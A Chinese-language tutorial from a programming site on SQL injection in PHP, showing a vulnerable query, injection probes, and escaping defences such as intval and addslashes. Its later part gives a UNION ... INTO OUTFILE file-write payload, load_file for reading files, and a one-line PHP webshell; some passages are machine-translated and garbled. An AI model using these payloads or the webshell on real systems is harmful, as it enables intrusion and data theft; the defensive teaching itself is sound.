程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> PHP漏洞之SQL注入攻擊簡單介紹

PHP漏洞之SQL注入攻擊簡單介紹

編輯:關於PHP編程

SQL注入是一種攻擊,允許攻擊者增加額外的邏輯表達式和命令,以現有的SQL查詢,種攻擊能夠成功每當用戶提交的數據是不正確驗證,並粘有一個合法的SQL查詢在一起,所以說sql注入攻擊並不是php的問題而程序員的問題。

 
SQL注入攻擊的一般步驟:

  1、攻 擊者訪問有SQL注入漏洞的站點,尋找注入點

  2、攻擊者構造注入語句,注入語句和程序中的SQL語句結合生成新的sql語句

  3、新的sql語句被提交到數據庫中執行 處理

  4、數據庫執行了新的SQL語句,引發SQL注入攻擊

 

 實例

  數據庫

  CREATE TABLE `postmessage` (

  `id` int(11) NOT NULL auto_increment,

  `subject` varchar(60) NOT NULL default ",

  `name` varchar(40) NOT NULL default ",

  `email` varchar(25) NOT NULL default ",

  `question` mediumtext NOT NULL,

  `postdate` datetime NOT NULL default '0000-00-00 00:00:00′,

  PRIMARY KEY  (`id`)

  ) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT='運用者的留言' AUTO_INCREMENT=69 ;

  grant all privileges on ch3.* to 'sectop'@localhost identified by '123456′;

  //add.php 插入留言

  //list.php 留言列表

  //show.php 顯示留言

  頁面 /show.php?id=71 可能存在注入點,我們來測試

  /show.php?id=71 and 1=1

  返回頁面


  一次查詢到記錄,一次沒有,我們來看看源碼

  //show.php 12-15行

  // 執行mysql查詢語句

  $query = "select * from postmessage where id = ".$_GET["id"];

  $result = mysql_query($query)

  or die("執行ySQL查詢語句失敗:" . mysql_error());

  參數id傳遞進來後,和前面的字符串結合的sql語句放入數據庫執行 查詢

  提交 and 1=1,語句變成select * from postmessage where id = 71 and 1=1 這語句前值後值都為真,and以後也為真,返回查詢到的數據

  提交 and 1=2,語句變成select * from postmessage where id = 71 and 1=2 這語句前值為真,後值為假,and以後為假,查詢不到任何數據

  正常的SQL查詢,經過我們構造的語句之後,形成了SQL注入攻擊。通過這個注入點,我們還可以進一步拿到權限,比如說運用 union讀取管理密碼,讀取數據庫信息,或者用mysql的load_file,into outfile等函數進一步滲透。

 

防sql注入方法

$id = intval ($_GET['id']);

當然,還有其它的變量類型,如果有必要的話盡量強制一下格式。


字符型參數:

運用 addslashes函數來將單引號"'"轉換成"'",雙引號"""轉換成""",反斜槓""轉換成"\",NULL字符加上反斜槓""

  函數原型

  string addslashes (string str)

          str是要檢查的字符串

  那麼剛才出現的代碼漏洞,我們可以這樣修補

  // 執行mysql查詢語句

  $query = "select * from postmessage where id = ".intval($_GET["id"]);

  $result = mysql_query($query)

or die("執行ySQL查詢語句失敗:" . mysql_error());

 

如果是字符型,先判斷magic_quotes_gpc能無法 為On,當不為On的時候運用 addslashes轉義特殊字符

 代碼如下 復制代碼

 

  if(get_magic_quotes_gpc())

  {

  $var = $_GET["var"];

  }

  else

  {

  $var = addslashes($_GET["var"]);

  }

]


SQL語句中包含變量加引號

SQL代碼:

 代碼如下 復制代碼

SELECT * FROM article WHERE articleid = '$id'

SELECT * FROM article WHERE articleid = $id

兩種寫法在各種程序中都很普遍,但安全性是不同的,第一句由於把變量$id放在一對單引號中,這樣使得我們所提交的變量都變成了字符串,即使包含了正確的SQL語句,也不會正常執行,而第二句不同,由於沒有把變量放進單引號中,那我們所提交的一切,只要包含空格,那空格後的變量都會作為SQL語句執行,因此,我們要養成給SQL語句中變量加引號的習慣。

3. URL偽靜態化

URL偽靜態化也就是URL重寫技術,像Discuz!一樣,將所有的URL都rewrite成類似xxx-xxx-x.html格式,即有利於SEO,又達到了一定的安全性,也不失為一個好辦法。但是想實現PHP防SQL注入,前提是你得有一定的"正則"基礎。

4. 用PHP函數過濾與轉義

PHP的SQL注入比較重要的一點就是GPC的設置問題,因為MYSQL4以下的版本是不支持子語句的,而且當php.ini裡的magic_quotes_gpc為On時,提交的變量中所有的 " '  "(單引號)、" " "(雙引號)、" "(反斜線)和空字符都會自動轉為含有反斜線的轉義字符,給SQL注入帶來不少的阻礙。

5. 用PHP的MySQL函數過濾與轉義

PHP的MySQL操作函數中有addslashes()、mysql_real_escape_string()、mysql_escape_string()等函數,可將特殊字符或可能引起數據庫操作出錯的字符轉義。

那麼這三個功能函數之間有什麼區別呢?下面我們來詳細講述下:

① addslashes的問題在於黑客可以用0xbf27來代替單引號,而addslashes只是將0xbf27修改為0xbf5c27,稱為一個有效的多字節字符,其中0xbf5c仍會被看做是單引號,所以addslashes無法成功攔截。

當然addslashes也不是毫無用處,它是用於單字節字符串的處理,多字節字符還是用mysql_real_escape_string吧。

另外對於php手冊中get_magic_quotes_gpc的舉例:

 代碼如下 復制代碼

if(!get_magic_quotes_gpc()){  $lastname = addslashes($_POST['lastname']);}else{  $lastname = $_POST['lastname'];}


最好對magic_quotes_gpc已經打開的情況下,還是對$_POST['lastname']進行檢查一下。

再說下mysql_real_escape_string和mysql_escape_string這2個函數的區別:

 代碼如下 復制代碼 function daddslashes($string, $force = 0, $strip = FALSE) {   
if(!MAGIC_QUOTES_GPC || $force) {       
if(is_array($string)) {          
 foreach($string as $key => $val) {               
 $string[$key] = daddslashes($val, $force, $strip);         
   }      
  } else
  {           
  $string = addslashes($strip ? stripslashes($string) : $string);       
  }   
  }   
  return $string;
 }

命令1 - 寫任意文件

MySQL有一個內置的命令,可用於創建和寫入系統文件。 此命令的格式如下:

 代碼如下 復制代碼

mysq> select "text" INTO OUTFILE "file.txt"

此命令的一個大缺點是,它可以被附加到一個現有的查詢使用UNION的SQL令牌。

例如,它可以被附加到下面的查詢:

 代碼如下 復制代碼

select user, password from user where user="admin" and password='123'
結果查詢:

select user, password from user where user="admin" and password='123' union select "text",2 into outfile "/tmp/file.txt" -- '

作為對上述命令的結果,在/ tmp / file.txt文件將被創建,包括查詢結果。
命令2 - 讀任意文件
MySQL有一個內置的命令,可以用來讀取任意文件。 它的語法很簡單。 B .我們將利用這個 b命令計劃 。

 代碼如下 復制代碼

mysql> select load_file("PATH_TO_FILE");

Web shell

Webshell是polpular並廣泛用於執行在Web浏覽器從shell命令的工具。 .有人稱之為這些工具的PHP炮彈。 我們將創建一個非常簡單的webshell,將執行shell命令。

下面是執行的代碼PHP的一個非常基本的外殼是將(參數通過加利福尼亞 ):

 代碼如下 復制代碼

<? system($_REQUEST['cmd']); ?>

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved